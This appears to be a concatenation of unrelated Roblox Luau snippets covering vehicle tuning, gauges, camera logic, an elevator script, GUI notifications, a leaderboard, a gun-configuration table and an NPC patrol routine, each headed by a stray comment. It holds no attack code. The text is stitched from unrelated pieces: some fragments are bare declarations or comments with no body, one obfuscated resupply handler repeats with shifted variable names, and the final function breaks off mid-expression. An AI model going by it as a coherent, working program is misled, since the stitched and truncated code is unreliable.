--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -0 Tune.RCamber = -0 Tune.FToe = 0 Tune.RToe = 0
--[=[ @interface Middleware .Inbound ServerMiddleware? .Outbound ServerMiddleware? @within KnitServer ]=]
type Middleware = { Inbound: ServerMiddleware?, Outbound: ServerMiddleware?, }
----------------------- --| Local Functions |-- -----------------------
local math_abs = math.abs local function OnCameraChanged(property) if property == 'CameraSubject' then VehicleParts = {} local newSubject = Camera.CameraSubject if newSubject then -- Determine if we should be popping at all PopperEnabled = false for _, subjectType in pairs(VALID_SUBJECTS) do if newSubject:IsA(subjectType) then PopperEnabled = true break end end -- Get all parts of the vehicle the player is controlling if newSubject:IsA('VehicleSeat') then VehicleParts = newSubject:GetConnectedParts(true) end if FFlagUserPortraitPopperFix then if newSubject:IsA("BasePart") then SubjectPart = newSubject elseif newSubject:IsA("Model") then SubjectPart = newSubject.PrimaryPart elseif newSubject:IsA("Humanoid") then SubjectPart = newSubject.Torso end end end end end local function OnCharacterAdded(player, character) PlayerCharacters[player] = character end local function OnPlayersChildAdded(child) if child:IsA('Player') then child.CharacterAdded:connect(function(character) OnCharacterAdded(child, character) end) if child.Character then OnCharacterAdded(child, child.Character) end end end local function OnPlayersChildRemoved(child) if child:IsA('Player') then PlayerCharacters[child] = nil end end local function OnWorkspaceChanged(property) if property == 'CurrentCamera' then local newCamera = workspace.CurrentCamera if newCamera then Camera = newCamera if CameraChangeConn then CameraChangeConn:disconnect() end CameraChangeConn = Camera.Changed:connect(OnCameraChanged) OnCameraChanged('CameraSubject') end end end
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Future Bandit" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(2,2,2) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -.3, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--// All global vars will be wiped/replaced except script
return function(data) local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent) local frame = gui.Frame local frame2 = frame.Frame local msg = frame2.Message local ttl = frame2.Title local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time local gone = false if not data.Message or not data.Title then gTable:Destroy() end ttl.Text = "" msg.Text = "" local function fadeIn() gTable:Ready() frame.Notify:Play() local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0.5,-18)}) Tween:Play() Tween.Completed:Wait() ttl.Text = title local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,350,0,150)}) Tween:Play() Tween.Completed:Wait() game:GetService("TweenService"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{Position=UDim2.new(0,10,0,10)}):Play() for i = 1,#message,1 do msg.Text = message:sub(1,i) game:GetService("RunService").Heartbeat:wait() end end local function fadeOut() if not gone then gone = true game:GetService("TweenService"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Position=UDim2.new(0,10,0,-20)}):Play() for i = #tostring(message),1,-1 do msg.Text = message:sub(1,i) game:GetService("RunService").Heartbeat:wait() end msg.Text = "" local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,64,0,64)}) Tween:Play() Tween.Completed:Wait() local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0,-100)}) Tween:Play() Tween.Completed:Wait() service.UnWrap(gui):Destroy() end end gTable.CustomDestroy = function() fadeOut() end fadeIn() wait(tim or 5) if not gone then fadeOut() end end
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function BoostSetup(callback) local Speedometer = gui:WaitForChild("Speedometer") local Bar = Speedometer:WaitForChild("Bar") local SpeedBar = Bar:WaitForChild("SpeedBar") BoostButton.InputBegan:Connect(function() callback(true) end) BoostButton.InputEnded:Connect(function() callback(false) end) function GuiController:UpdateBoost(boostAmount) local boostPercentage = math.clamp(boostAmount/engine._settings.BoostAmount, 0, 1) Bar.Position = UDim2.new(-1 + boostPercentage, 0, 0, 0) SpeedBar.Position = UDim2.new(1 - 1*boostPercentage, 0, 0, 0) end end -- BoostSetup()
--[[ Shorthand for an andThen handler that returns the given value. ]]
function Promise.prototype:andThenReturn(...) local length, values = pack(...) return self:_andThen(debug.traceback(nil, 2), function() return unpack(values, 1, length) end) end
-- Provide a count of the number of UI components in the tool -- (this allows the client-side code to begin when all expected -- components have loaded/replicated)
UIComponentCountValue.Value = #_getAllDescendants( Interfaces );
---------------------------------------------------------------------------------------------------- -----------------=[ General ]=---------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
TeamKill = true --- Enable TeamKill? ,TeamDmgMult = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate ,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces... ,AntiBunnyHop = true --- Enable anti bunny hop system? ,JumpCoolDown = 1.5 --- Seconds before you can jump again ,JumpPower = 50 --- Jump power, default is 50 ,RealisticLaser = true --- True = Laser line is invisible ,ReplicatedLaser = true ,ReplicatedFlashlight = true ,EnableRagdoll = true --- Enable ragdoll death? ,TeamTags = true --- Aaaaaaa ,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD ,Crosshair = false --- Crosshair for Hipfire shooters and arcade modes ,CrosshairOffset = 5 --- Crosshair size offset
-------------------------
HUB2.Modes.M.Text = carSeat.AWD.Value and "AWD" or "RWD" HUB2.Modes.MouseButton1Click:connect(function() carSeat.AWD.Value = not carSeat.AWD.Value HUB2.Modes.M.Text = carSeat.AWD.Value and "AWD" or "RWD" end) while wait(.5) do handler:FireServer('updateSpeed') end
-- Return lines unindented by heuristic; -- otherwise return null because: -- * props include a multiline string -- * text has more than one adjacent line -- * markup does not close
function dedentLines(input: Array<string>): Array<string> | nil local output: Array<string> = {} while #output < #input do local line = input[#output + 1] if hasUnmatchedDoubleQuoteMarks(line) then return nil elseif isFirstLineOfTag(line) then if not dedentMarkup(input, output) then return nil end else table.insert(output, dedentLine(line)) end end return output end return dedentLines
--[=[ Syncs the value from `from` to `to`. @param from ValueObject<T> @param to ValueObject<T> @return MaidTask ]=]
function ValueObjectUtils.syncValue(from, to) local maid = Maid.new() to.Value = from.Value maid:GiveTask(from.Changed:Connect(function() to.Value = from.Value end)) return maid end
--Possible Boolean Values on Top--
script.Parent.ProximityPrompt.Triggered:Connect(function() script.Parent.Sound:Play() --actual function-- end)
-- Make the Inventory, which holds the ScrollingFrame, the header, and the search box
InventoryFrame = NewGui('Frame', 'Inventory') InventoryFrame.BackgroundTransparency = BACKGROUND_FADE InventoryFrame.BackgroundColor3 = BACKGROUND_COLOR InventoryFrame.Active = true InventoryFrame.Visible = false InventoryFrame.Parent = MainFrame VRInventorySelector = NewGui('TextButton', 'VRInventorySelector') VRInventorySelector.Position = UDim2.new(0, 0, 0, 0) VRInventorySelector.Size = UDim2.new(1, 0, 1, 0) VRInventorySelector.BackgroundTransparency = 1 VRInventorySelector.Text = "" VRInventorySelector.Parent = InventoryFrame local selectorImage = NewGui('ImageLabel', 'Selector') selectorImage.Size = UDim2.new(1, 0, 1, 0) selectorImage.Image = "rbxasset://textures/ui/Keyboard/key_selection_9slice.png" selectorImage.ScaleType = Enum.ScaleType.Slice selectorImage.SliceCenter = Rect.new(12,12,52,52) selectorImage.Visible = false VRInventorySelector.SelectionImageObject = selectorImage VRInventorySelector.MouseButton1Click:Connect(function() vrMoveSlotToInventory() end)
--[=[ @param onFlush ({T}) -> nil @return TaskQueue<T> Constructs a new TaskQueue. ]=]
function TaskQueue.new<T>(onFlush: ({T}) -> nil) local self = setmetatable({}, TaskQueue) self._queue = {} self._flushing = false self._flushingScheduled = false self._onFlush = onFlush return self end
--[[ Function called when leaving the state ]]
function ServerGame.onLeave(stateMachine, event, from, to) for _, connection in pairs(connections) do connection:Disconnect() end RoomManager.resetRooms() end return ServerGame
--[=[ @class PlayerUtils ]=]
local PlayerUtils = {}
-------------------------
function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors:FindFirstChild(script.Parent.Name) then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors:FindFirstChild(script.Parent.Name).Position clicker = true end function DoorOpen() while Shaft02.MetalDoor.Transparency < 1.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency + .1 wait(0.000001) end Shaft02.MetalDoor.CanCollide = false end
-- Updating the leaderboard
while wait(1) do -- Deletes everything until we make a frame for _, plrFrame in pairs(playerListFrame.PlayerHolder:GetChildren()) do if plrFrame:IsA("Frame") then plrFrame:Destroy() end end -- Making a frame for the player for i, plr in pairs(game.Players:GetPlayers()) do local template = script:WaitForChild("Template"):Clone() template.Name = plr.Name template.PlayerPicture.Image = game.Players:GetUserThumbnailAsync(plr.UserId,Enum.ThumbnailType.HeadShot,Enum.ThumbnailSize.Size420x420) template.PlayerPicture.PlayerName.Text = plr.Name template.Parent = playerListFrame.PlayerHolder template.Position = UDim2.new(0.5,0,0.5,0) end if #game.Players:GetPlayers() >= 7 then playerListFrame.PlayerHolder.CanvasSize = UDim2.new(0,0,1.05 + ((#game.Players:GetPlayers()-7) * .15),0) else playerListFrame.PlayerHolder.CanvasSize = UDim2.new(0,0,0,0) end end
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) local _TCount = 0 if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end values.Boost.Changed:connect(function() local boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount)) gauges.PSI.Text = tostring(math.floor(boost).." PSI") end) else gauges.Boost:Destroy() end script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" elseif gearText >= 1 and script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then gearText = "D" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) function PBrake() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end script.Parent.Parent.Values.PBrake.Changed:connect(PBrake) function Gear() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "Normal" script.Parent.TMode.TextColor3 = Color3.new(1,170/255,0) script.Parent.TMode.TextStrokeColor3 = Color3.new(0,0,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "Sport" script.Parent.TMode.TextColor3 = Color3.new(45/255, 200/255, 105/255) script.Parent.TMode.TextStrokeColor3 = Color3.new(0,0,0) else script.Parent.TMode.Text = "Manual" script.Parent.TMode.TextColor3 = Color3.new(1,.25,.25) script.Parent.TMode.TextStrokeColor3 = Color3.new(0,0,0) end end script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "v" then for index, child in ipairs(script.Parent.Parent:GetChildren()) do if child.ClassName == "Frame" or child.ClassName == "ImageLabel" then child.Visible = not child.Visible end end end end) wait(.1) Gear() PBrake()
--// Touch Connections
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_311_arg1) local L_312_, L_313_ = SearchResupply(L_311_arg1) if L_312_ and L_17_ then L_17_ = false L_103_ = L_24_.Ammo L_104_ = L_24_.StoredAmmo * L_24_.MagCount L_105_ = L_24_.ExplosiveAmmo if L_58_:FindFirstChild('Resupply') then L_58_.Resupply:Play() end wait(15) L_17_ = true end; end)
--RGB Colors
local redV = 255 --If you want a different color change this. (Must understand RGB) local greenV = 0 local blueV = 0
--generate bad words in ScreenGui.TextBox
local TextBox = script.Parent.Parent.TextBox local TextLabel = script.Parent.Parent.TextLabel local Button = script.Parent.Parent.Button
-- / Game Assets / --
local GameAssets = game.ServerStorage.GameAssets
--// Touch Connections
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_307_arg1) local L_308_, L_309_ = SearchResupply(L_307_arg1) if L_308_ and L_17_ then L_17_ = false L_102_ = L_24_.Ammo L_103_ = L_24_.StoredAmmo * L_24_.MagCount L_104_ = L_24_.ExplosiveAmmo if L_57_:FindFirstChild('Resupply') then L_57_.Resupply:Play() end wait(15) L_17_ = true end; end)
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local MoveUtil = require(script.Parent:WaitForChild 'Util')
-- get the current time in CET
local currentTime = os.time() + timezone
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---- Option Bindables
do local optionCallback = { Modifiable = function(value) for i = 1,#actionButtons do actionButtons[i].Obj.Visible = value and Option.Selectable end cancelReparentDrag() end; Selectable = function(value) for i = 1,#actionButtons do actionButtons[i].Obj.Visible = value and Option.Modifiable end cancelSelectDrag() Selection:Set({}) end; } local bindSetOption = explorerPanel:FindFirstChild("SetOption") if not bindSetOption then bindSetOption = Create('BindableFunction',{Name = "SetOption"}) bindSetOption.Parent = explorerPanel end bindSetOption.OnInvoke = function(optionName,value) if optionCallback[optionName] then Option[optionName] = value optionCallback[optionName](value) end end local bindGetOption = explorerPanel:FindFirstChild("GetOption") if not bindGetOption then bindGetOption = Create('BindableFunction',{Name = "GetOption"}) bindGetOption.Parent = explorerPanel end bindGetOption.OnInvoke = function(optionName) if optionName then return Option[optionName] else local options = {} for k,v in pairs(Option) do options[k] = v end return options end end end function SelectionVar() return Selection end Input.InputBegan:connect(function(key) if key.KeyCode == Enum.KeyCode.LeftControl then HoldingCtrl = true end if key.KeyCode == Enum.KeyCode.LeftShift then HoldingShift = true end end) Input.InputEnded:connect(function(key) if key.KeyCode == Enum.KeyCode.LeftControl then HoldingCtrl = false end if key.KeyCode == Enum.KeyCode.LeftShift then HoldingShift = false end end) while RbxApi == nil do RbxApi = GetApiRemote:Invoke() wait() end explorerFilter.Changed:connect(function(prop) if prop == "Text" then rawUpdateList() end end) CurrentInsertObjectWindow = CreateInsertObjectMenu( GetClasses(), "", false, function(option) CurrentInsertObjectWindow.Visible = false local list = SelectionVar():Get() for i = 1,#list do pcall(function() Instance.new(option,list[i]) end) end DestroyRightClick() end )
-- constants
local STAT_SCRIPT = ServerScriptService.StatScript local REMOTES = ReplicatedStorage.Remotes local MODULES = ReplicatedStorage.Modules local CONFIG = require(MODULES.Config) local PROJECTILE = require(MODULES.Projectile) local DAMAGE = require(MODULES.Damage)
-- ==================== -- MINIGUN -- Make a gun delay before/after firing -- ====================
MinigunEnabled = false; DelayBeforeFiring = 1; DelayAfterFiring = 1;
--MainFunction
function module:CreateCredits() cf:ClearPage(creditsFrame) local totalY = 0 for _, updateGroup in pairs(credits) do local aspectRatio = 6 for i,v in pairs(updateGroup) do local label if i == 1 then label = template1:Clone() aspectRatio = v[1] label.BackgroundColor3 = Color3.fromRGB(95, 95, 95) label.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) label.TextLabel.Text = v[2] label.Parent = creditsFrame else label = template2:Clone() label.Parent = creditsFrame label.UIAspectRatioConstraint.AspectRatio = aspectRatio label.BackgroundColor3 = cf:GetLabelBackgroundColor(i) label.PlrName.Text = v[1] label.PlayerImage.Image = cf:GetUserImage(cf:GetUserId(v[1])) local labelSizeX = label.PlayerImage.AbsoluteSize.Y label.PlayerImage.Size = UDim2.new(0,labelSizeX,1,0) for i = 1,3 do local descLabel = label:FindFirstChild("Desc"..i) if descLabel then local desc = v[2][i] if desc then descLabel.Text = desc else descLabel.Text = "" end local xOffset = labelSizeX*1.15 local yScalePos local yScaleSize local yScaleSize2 if aspectRatio <= 5 then yScalePos = 0.33+((i-1)*0.25) yScaleSize = 0.255 yScaleSize2 = 0.31 else yScalePos = 0.36+((i-1)*0.25) yScaleSize = 0.26 -- Size yScaleSize2 = 0.32 -- Pos end descLabel.Position = UDim2.new(0, xOffset, yScalePos, 0) descLabel.Size = UDim2.new(0.75, 0, yScaleSize, 0) label.PlrName.Position = UDim2.new(0, xOffset, label.PlrName.Position.Y.Scale, label.PlrName.Position.Y.Offset) label.PlrName.Size = UDim2.new(0.75, 0, yScaleSize2, 0) end end end label.Name = "Label" label.Visible = true totalY = totalY + label.AbsoluteSize.Y end end creditsFrame.CanvasSize = UDim2.new(0,0,0,totalY) end return module
--[[ Implementation ]]
local function isAlive() return maid.humanoid.Health > 0 and maid.humanoid:GetState() ~= Enum.HumanoidStateType.Dead end local function destroy() maid:destroy() end local function getposition() local searchParts = workspace.SearchParts:GetChildren() local position = searchParts[math.random(1, #searchParts)].Position return position end local function patrol() while isAlive() do if not attacking then local position = getposition() maid.humanoid.WalkSpeed = PATROL_WALKSPEED maid.humanoid:MoveTo(position) end wait(random:NextInteger(MIN_REPOSITION_TIME, MAX_REPOSITION_TIME)) end end local function isInstaceAttackable(targetInstance) local targetParent = targetInstance and targetInstance.Parent local targetHumanoid = targetParent and targetParent:FindFirstChild("Humanoid") local targetHumanoidRootPart = targetParent and targetParent:FindFirstChild("HumanoidRootPart") if not targetHumanoid or not targetHumanoidRootPart then return false end local isAttackable = false local distance = (maid.humanoidRootPart.Position - targetHumanoidRootPart.Position).Magnitude if distance <= ATTACK_RADIUS then local ray = Ray.new( maid.humanoidRootPart.Position, (targetHumanoidRootPart.Position - maid.humanoidRootPart.Position).Unit * distance ) local part = Workspace:FindPartOnRayWithIgnoreList(ray, { targetInstance.Parent, maid.instance, }, false, true) if targetInstance ~= maid.instance and targetInstance:IsDescendantOf(Workspace) and 